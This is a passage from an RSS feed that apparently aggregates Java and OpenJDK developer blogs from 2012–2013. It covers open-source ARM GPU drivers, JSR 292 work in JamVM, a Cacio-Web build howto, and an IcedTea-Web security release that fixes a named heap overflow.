Julien Gouesse: &lt;a href=&quot;http://gouessej.wordpress.com/2012/08/01/java-3d-est-de-retour-java-3d-is-back/&quot;&gt;Java 3D est de retour [Java 3D is back]&lt;/a&gt;&lt;/p&gt;</description>
	<pubDate>Tue, 19 Feb 2013 22:59:34 +0000</pubDate>
</item>
<item>
	<title>Xerxes Rånby: Valentine news update, v3 is the new &lt;3, #OpenGL ES 2/3 drivers and #OpenCL #ARM special</title>
	<guid>http://labb.zafena.se/?p=754</guid>
	<link>http://labb.zafena.se/?p=754</link>
	<description>&lt;h2&gt;OpenGL ES 2 drivers&lt;/h2&gt;
&lt;p&gt;Excellent post by cnx-software listing all the reverse engineering effort put into bringing opensource ARM GPU drivers to GNU/Linux.&lt;br /&gt;
&lt;a href=&quot;http://www.cnx-software.com/2013/02/14/open-arm-gpu-drivers-fosdem-2013-video-and-call-to-arm-management/&quot;&gt;http://www.cnx-software.com/2013/02/14/open-arm-gpu-drivers-fosdem-2013-video-and-call-to-arm-management/&lt;/a&gt;&lt;br /&gt;
The post links and embeds &lt;a href=&quot;https://fosdem.org/2013/schedule/event/operating_systems_open_arm_gpu/&quot;&gt;libv’s excellent FOSDEM 2013 reverse engineering ARM GPU driver talk&lt;/a&gt;.&lt;br /&gt;
The &lt;strong&gt;lima&lt;/strong&gt; and &lt;strong&gt;freedreno&lt;/strong&gt; reverse engineered drivers are both now known to be able to run Quake 3. The &lt;strong&gt;lima&lt;/strong&gt; driver is now actually faster than the closed source ARM Mali driver!&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;http://libv.livejournal.com/24092.html&quot;&gt;http://libv.livejournal.com/24092.html&lt;/a&gt; – &lt;strong&gt;Hey ARM&lt;/strong&gt;!&lt;br /&gt;
We are not going away, we are here to stay. We cannot be silenced or stopped anymore, and we are becoming harder and harder to ignore.&lt;/p&gt;
&lt;p&gt;It is only a matter of time before we produce an open source graphics driver stack which rivals your binary in performance. And that time is measured in weeks and months now. The requests from your own customers, for support for this open source stack, will only grow louder and louder.&lt;/p&gt;
&lt;p&gt;So please, stop fighting us. Embrace us. Work with us. Your customers and shareholders will love you for it.&lt;/p&gt;
&lt;p&gt;– libv. &lt;/p&gt;&lt;/blockquote&gt;
&lt;h2&gt;OpenGL ES 3 drivers&lt;/h2&gt;
&lt;p&gt;Intel have taking the lead and released all their OpenGL ES 3 driver code into Mesa&lt;br /&gt;
&lt;a href=&quot;http://linux.slashdot.org/story/13/02/13/1756208/intel-supports-opengl-es-30-on-linux-before-windows&quot;&gt;http://linux.slashdot.org/story/13/02/13/1756208/intel-supports-opengl-es-30-on-linux-before-windows&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.phoronix.com/scan.php?page=news_item&amp;amp;px=MTMwMDg&quot;&gt;http://www.phoronix.com/scan.php?page=news_item&amp;amp;px=MTMwMDg&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://cgit.freedesktop.org/mesa/mesa/log/?h=gles3&quot;&gt;http://cgit.freedesktop.org/mesa/mesa/log/?h=gles3&lt;/a&gt; – this is how you should work, kudos to Intel.&lt;/p&gt;
&lt;h2&gt;OpenCL ARM GPU drivers&lt;/h2&gt;
&lt;p&gt;Android have for a long time refused vendors to ship ARM OpenCL drivers on Google approved Android devices.&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/android/issues/detail?id=36361&quot;&gt;http://code.google.com/p/android/issues/detail?id=36361&lt;/a&gt; – Android lead Declined Support for OpenCL&lt;br /&gt;
Over night everything changed:&lt;br /&gt;
Google ships secret #ARM #MALI T-604 #OpenCL driver in Nexus 10 to accelerate Renderscript.&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=GrqKJehawr8&quot;&gt;http://www.youtube.com/watch?v=GrqKJehawr8&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://beyond3d.com/showthread.php?t=63071&quot;&gt;http://beyond3d.com/showthread.php?t=63071&lt;/a&gt;&lt;br /&gt;
The OpenCL SDK for ARM Mali is now available! &lt;a href=&quot;http://bit.ly/YOS1YA&quot;&gt;http://bit.ly/YOS1YA&lt;/a&gt;  #opencl #gpu @ARMMultimedia&lt;br /&gt;
OpenCL drivers for Samsung Exynos 5 board landed here: &lt;a href=&quot;http://streamcomputing.eu/knowledge/sdks/samsung-exynos-5-board/&quot;&gt;http://streamcomputing.eu/knowledge/sdks/samsung-exynos-5-board/&lt;/a&gt;&lt;br /&gt;
Also the Zii labs ZMS line supports CL &lt;a href=&quot;http://codedivine.org/2013/02/01/renderscript-from-the-perspective-of-an-openclcudac-amp-programmer/&quot;&gt;http://codedivine.org/2013/02/01/renderscript-from-the-perspective-of-an-openclcudac-amp-programmer/&lt;/a&gt;&lt;br /&gt;
Amazon android line is rumored to support CL as well…&lt;/p&gt;
&lt;p&gt;So with all these new news surfacing it looks like ARM devices running the new T-604 MALI GPU will have OpenCL drivers especially the Google Nexus 10 tablet that is reported to include the drivers in the stock install!&lt;br /&gt;
So this means we now have a good way to hardware accelerate FFT on ARM using OpenCL!&lt;br /&gt;
I want to use #OpenCL on #ARM to do fast live music #FFT analysis for better jazz music on the go&lt;br /&gt;
&lt;a href=&quot;http://www.jazzperiments.com/jazzperiments.html&quot;&gt;http://www.jazzperiments.com/jazzperiments.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;JogAmp update&lt;/h2&gt;
&lt;p&gt;JogAmp have implemented OpenCL bindings on GNU/LInux and packaged .apk for Android feel free to jump in and help with testing on real devices!&lt;br /&gt;
The current priority list for JogAmp OpenCL and OpenGL ES 3 integration is found inside the forum: &lt;a href=&quot;http://forum.jogamp.org/JInput-Delivery-tp4028209p4028210.html&quot;&gt;http://forum.jogamp.org/JInput-Delivery-tp4028209p4028210.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://twitter.com/xranby&quot;&gt;Cheers and have a great twitter valentine tweet day!&lt;br /&gt;
v3 is the new &amp;lt;3&lt;br /&gt;
Xerxes&lt;/a&gt;&lt;/p&gt;</description>
	<pubDate>Fri, 15 Feb 2013 12:53:24 +0000</pubDate>
</item>
<item>
	<title>Roman Kennke: FOSDEM 2013</title>
	<guid>http://rkennke.wordpress.com/?p=579</guid>
	<link>http://rkennke.wordpress.com/2013/01/17/fosdem-2013/</link>
	<description>&lt;p&gt;The last couple of years, I had to pass FOSDEM, for various reasons. I am very very happy that I finally sorted things out for this years FOSDEM, and I’m ready to go (hotel and trains booked). I will do a presentation about my Shark &amp;amp; Zero work on Saturday afternoon, and co-present Thermostat with Mario on Sunday noon, both in the Java dev room.&lt;/p&gt;
&lt;p&gt;FOSDEM is one of those rare events in my life about which I can say that it had a very significant impact. I wouldn’t be where I am today, if I hadn’t attended it a few years ago. I am very happy that I can finally go there again, and meet lots of old and new friends and collegues. See you there, and cheers!&lt;/p&gt;
&lt;br /&gt;  &lt;a href=&quot;http://feeds.wordpress.com/1.0/gocomments/rkennke.wordpress.com/579/&quot; rel=&quot;nofollow&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/rkennke.wordpress.com/579/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;1&quot; src=&quot;http://stats.wordpress.com/b.gif?host=rkennke.wordpress.com&amp;amp;blog=9951657&amp;amp;post=579&amp;amp;subd=rkennke&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Thu, 17 Jan 2013 14:08:12 +0000</pubDate>
</item>
<item>
	<title>Robert Lougher: The long and winding road of JSR 292</title>
	<guid>tag:blogger.com,1999:blog-300388730782291770.post-7180310140721743221</guid>
	<link>http://draenog.blogspot.com/2012/12/the-long-and-winding-road-of-jsr-292.html</link>
	<description>As the biggest change to the JVM since the introduction of Java, I've been acutely aware that I can't ignore JSR 292 and simply leave it unimplemented in JamVM.  This has been reinforced recently by announcements such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Nashorn_%28JavaScript_engine%29&quot;&gt;Nashorn&lt;/a&gt; that indicate that more and more developments in the future will require JSR 292.&lt;br /&gt;&lt;br /&gt;However, my record of implementing it has been dismal.  I first started about this time last year (end of December 2011).  At the time I hoped to get it finished for FOSDEM in February.  This was a tall order, but by FOSDEM I had invokeExact working, and could run several simple examples (all with OpenJDK 7).  I understood the general framework, and the way in which method handles were chained together (invocation involved following the chain, performing transformations along the way, until the final target method was reached).&lt;br /&gt;&lt;br /&gt;The problem was the number of transformations the VM needed to implement.  Certain ones such as unboxing (REF_TO_PRIM) and retyping were straight-forward.  But more complex ones such as argument spreading were extremely time consuming, and there were even more exotic ones requiring &quot;ricochet frames&quot; (I never did work out exactly what they were).  Anyway, I didn't deliberately abandon the work, I just stopped and didn't touch JamVM for 6 months.&lt;br /&gt;&lt;br /&gt;The breakthrough came from reading Roman Kennke's blog of getting &lt;a href=&quot;http://rkennke.wordpress.com/2012/08/08/hotspot-zero-openjdk8-davinci/&quot;&gt;Zero working with OpenJDK 8&lt;/a&gt;.  Of particular interest was the removal of the adapter code from Zero (like JamVM, it was incomplete).  It was no longer needed as the transformations are now done in Java, via LambdaForms.  These are compiled into bytecodes via the JSR 292 runtime, again coded in Java.&lt;br /&gt;&lt;br /&gt;So the main stumbling block of my last attempt was gone.  However, unlike with Zero, in addition to invokedynamic the rest of the JSR 292 support within the VM has to be implemented (class file changes, resolution of method handles/types, call site bootstrap methods, stack walking, field injection, etc.).  It's taken a couple of weeks work, with a lot of debugging over Christmas (it's been so wet in the UK there's been nothing much else to do) but all but one of the jtreg tests for java.lang.invoke pass.  In fact, all tests were passing until I updated my sources a few days ago and found an extra 6 tests.&lt;br /&gt;&lt;pre&gt;Passed: java/lang/invoke/6987555/Test6987555.java&lt;br /&gt;Passed: java/lang/invoke/6991596/Test6991596.java&lt;br /&gt;Passed: java/lang/invoke/6998541/Test6998541.java&lt;br /&gt;Passed: java/lang/invoke/7157574/Test7157574.java&lt;br /&gt;Passed: java/lang/invoke/7196190/ClassForNameTest.java&lt;br /&gt;FAILED: java/lang/invoke/7196190/GetUnsafeTest.java&lt;br /&gt;Passed: java/lang/invoke/7196190/MHProxyTest.java&lt;br /&gt;Passed: java/lang/invoke/lambda/LambdaAccessControlDoPrivilegedTest.java&lt;br /&gt;Passed: java/lang/invoke/lambda/LambdaAccessControlTest.java&lt;br /&gt;Passed: java/lang/invoke/AccessControlTest.java&lt;br /&gt;Passed: java/lang/invoke/BigArityTest.java&lt;br /&gt;Passed: java/lang/invoke/CallSiteTest.java&lt;br /&gt;Passed: java/lang/invoke/ClassValueTest.java&lt;br /&gt;Passed: java/lang/invoke/InvokeDynamicPrintArgs.java&lt;br /&gt;Passed: java/lang/invoke/InvokeGenericTest.java&lt;br /&gt;Passed: java/lang/invoke/JavaDocExamplesTest.java&lt;br /&gt;Passed: java/lang/invoke/MethodHandlesTest.java&lt;br /&gt;Passed: java/lang/invoke/MethodTypeTest.java&lt;br /&gt;Passed: java/lang/invoke/PermuteArgsTest.java&lt;br /&gt;Passed: java/lang/invoke/PrivateInvokeTest.java&lt;br /&gt;Passed: java/lang/invoke/RicochetTest.java&lt;br /&gt;Passed: java/lang/invoke/ThrowExceptionsTest.java&lt;br /&gt;Test results: passed: 21; failed: 1&lt;/pre&gt;The changes aren't pushed to git yet, as JamVM will currently only work with OpenJDK 8.  Getting it to work with OpenJDK 6/7 (without JSR 292) won't be difficult, but GNU Classpath will be more tricky.&lt;br /&gt;&lt;br /&gt;</description>
	<pubDate>Mon, 31 Dec 2012 23:12:29 +0000</pubDate>
</item>
<item>
	<title>Roman Kennke: Quick Cacio-Web howto</title>
	<guid>http://rkennke.wordpress.com/?p=576</guid>
	<link>http://rkennke.wordpress.com/2012/12/12/quick-cacio-web-howto/</link>
	<description>&lt;p&gt;Today we released Caciocavallo 1.3. The release announcement can be found &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/caciocavallo-dev/2012-December/000466.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However, what is the more important news is that after the release, I fixed &lt;a href=&quot;http://rkennke.wordpress.com/2011/11/01/cacioweb-the-java-deployment-solution-of-the-future/&quot;&gt;Cacio-Web&lt;/a&gt; to work with the latest Cacio build and enabled it in the default build so it doesn’t fall to the wayside again. On popular request I would like to summarize how to get Cacio-Web running. Note that this currently only works on Linux (patches to enable this on other platforms are welcome!)&lt;/p&gt;
&lt;p&gt;First of all, check out the source code (the cacio-web changes are not yet released):&lt;/p&gt;
&lt;pre&gt;hg clone http://hg.openjdk.java.net/caciocavallo/ng/ caciocavallo
&lt;/pre&gt;
&lt;p&gt;Then build it (you need Maven!):&lt;/p&gt;
&lt;pre&gt;cd caciocavallo
mvn clean install
&lt;/pre&gt;
&lt;p&gt;And finally you should be able to run with with something like this:&lt;/p&gt;
&lt;pre&gt;java -Dcacio.web.port=9091 -cp cacio-web/target/cacio-web-1.4-SNAPSHOT-jar-with-dependencies.jar:/home/rkennke/src/test/SwingSet2.jar net.java.openjdk.cacio.server.CacioServer
&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-Dcacio.web.port&lt;/code&gt; parameter specifies on which port should Cacio-Web listen. Notice that the classpath needs to include your application (SwingSet2.jar in this case).&lt;/p&gt;
&lt;p&gt;Then point your browser to a URL like this:&lt;/p&gt;
&lt;pre&gt;http://localhost:9091/SessionInitializer?cls=SwingSet2

&lt;/pre&gt;
&lt;p&gt;Where the parameter &lt;code&gt;cls&lt;/code&gt; specifies the (fully qualified) name of the main class of the application to start.&lt;/p&gt;
&lt;p&gt;Please let me know if you run into any problems.&lt;/p&gt;
&lt;br /&gt;  &lt;a href=&quot;http://feeds.wordpress.com/1.0/gocomments/rkennke.wordpress.com/576/&quot; rel=&quot;nofollow&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/rkennke.wordpress.com/576/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;1&quot; src=&quot;http://stats.wordpress.com/b.gif?host=rkennke.wordpress.com&amp;amp;blog=9951657&amp;amp;post=576&amp;amp;subd=rkennke&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 12 Dec 2012 15:40:42 +0000</pubDate>
</item>
<item>
	<title>Deepak Bhole: IcedTea-Web 1.1.7, 1.2.2 and 1.3.1 [security releases] released!</title>
	<guid>http://dbhole.wordpress.com/?p=340</guid>
	<link>http://dbhole.wordpress.com/2012/11/07/icedtea-web-1-1-7-1-2-2-and-1-3-1-security-releases-released/</link>
	<description>&lt;p&gt;A potential heap buffer overflow issue has been found and fixed in&lt;br /&gt;
IcedTea-Web. It is recommended that all IcedTea-Web users update to this&lt;br /&gt;
new version.&lt;/p&gt;
&lt;p&gt;We would like to thank Arthur Gerkis for reporting this issue.&lt;/p&gt;
&lt;p&gt;The fixed issue is:&lt;br /&gt;
RH869040, CVE-2012-4540: Heap-based buffer overflow after triggering event attached to applet&lt;/p&gt;
&lt;p&gt;Other fixes are listed in the NEWS files:&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/hg/release/icedtea-web-1.1/file/d759ec560073/NEWS&quot;&gt;1.1.7 NEWS file&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/hg/release/icedtea-web-1.2/file/2d21b045ef60/NEWS&quot;&gt;1.2.2 NEWS file&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/hg/release/icedtea-web-1.3/file/085acbc2a34c/NEWS&quot;&gt;1.3.1 NEWS file&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please note that this will be the last 1.1.x release as we are not aware&lt;br /&gt;
of any distribution currently using 1.1.&lt;/p&gt;
&lt;p&gt;The following people helped with these releases:&lt;br /&gt;
Adam Domurad&lt;br /&gt;
Omair Majid&lt;br /&gt;
Saad Mohammad&lt;br /&gt;
Jiri Vanek&lt;/p&gt;
&lt;p&gt;Checksums:&lt;br /&gt;
709ef1880e259d0d0661d57323448e03524153fe3ade21366d55aff5a49608bb icedtea-web-1.1.7.tar.gz&lt;br /&gt;
e9e3c3dc413b01b965c0fc7fdc73d89683ffe1422ca7fd218c98debab9bdb675 icedtea-web-1.2.2.tar.gz&lt;br /&gt;
20c7fd1eef6c79cbc6478bb01236a3eb2f0af6184eaed24baca59a3c37eafb56 icedtea-web-1.3.1.tar.gz&lt;/p&gt;
&lt;p&gt;Download links:&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-web-1.1.7.tar.gz&quot;&gt;http://icedtea.classpath.org/download/source/icedtea-web-1.1.7.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-web-1.2.2.tar.gz&quot;&gt;http://icedtea.classpath.org/download/source/icedtea-web-1.2.2.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-web-1.3.1.tar.gz&quot;&gt;http://icedtea.classpath.org/download/source/icedtea-web-1.3.1.tar.gz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After extracting, it can be built as per instructions here:&lt;br /&gt;
&lt;a href=&quot;http://icedtea.classpath.org/wiki/IcedTea-Web#Building_IcedTea-Web&quot;&gt;http://icedtea.classpath.org/wiki/IcedTea-Web#Building_IcedTea-Web&lt;/a&gt;&lt;/p&gt;
&lt;br /&gt;  &lt;a href=&quot;http://feeds.wordpress.com/1.0/gocomments/dbhole.wordpress.com/340/&quot; rel=&quot;nofollow&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/dbhole.wordpress.com/340/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;1&quot; src=&quot;http://stats.wordpress.com/b.gif?host=dbhole.wordpress.com&amp;amp;blog=7479738&amp;amp;post=340&amp;amp;subd=dbhole&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 07 Nov 2012 18:15:41 +0000</pubDate>
</item>
<item>
	<title>David Gilbert: The Rise of Chrome</title>
	<guid>http://www.jroller.com/dgilbert/entry/the_rise_of_chrome</guid>
	<link>http://www.jroller.com/dgilbert/entry/the_rise_of_chrome</link>
	<description>I was a bit surprised last week when a colleague told me that Chrome (the web browser) now has greater than 40% market share.  Last time I saw figures, admittedly some time ago, it was running at about 20%.  Anyway, I looked it up and found this source:
&lt;br /&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.w3schools.com/browsers/browsers_stats.asp&quot;&gt;http://www.w3schools.com/browsers/browsers_stats.asp&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;
The rise of Chrome is certainly impressive, and also interesting in that data is the long fall of Internet Explorer.  The dataset, of course, may not provide a good representation of global usage (it is based on visitor logs for W3C only)...if you know of better, or just alternative, data I'd be interested to know the source, for comparison.
&lt;br /&gt;&lt;br /&gt;
I'm always on the lookout for interesting data sets to use for the &lt;a href=&quot;http://www.jfree.org/jfreechart/&quot;&gt;JFreeChart&lt;/a&gt; demo collection, so I created this chart based on a subset of the browser data:
&lt;br /&gt;&lt;br /&gt;
&lt;img alt=&quot;demo15.png&quot; src=&quot;http://www.object-refinery.com/images/demo15.png&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;
I like this chart, and will most likely try to keep it up-to-date in the coming months.  If I can find some data that splits out desktop vs mobile browsing, that would be interesting as well.  In the meantime, I'll go and give Chrome another try.</description>
	<pubDate>Thu, 01 Nov 2012 20:36:17 +0000</pubDate>
</item>

</channel>
</rss>
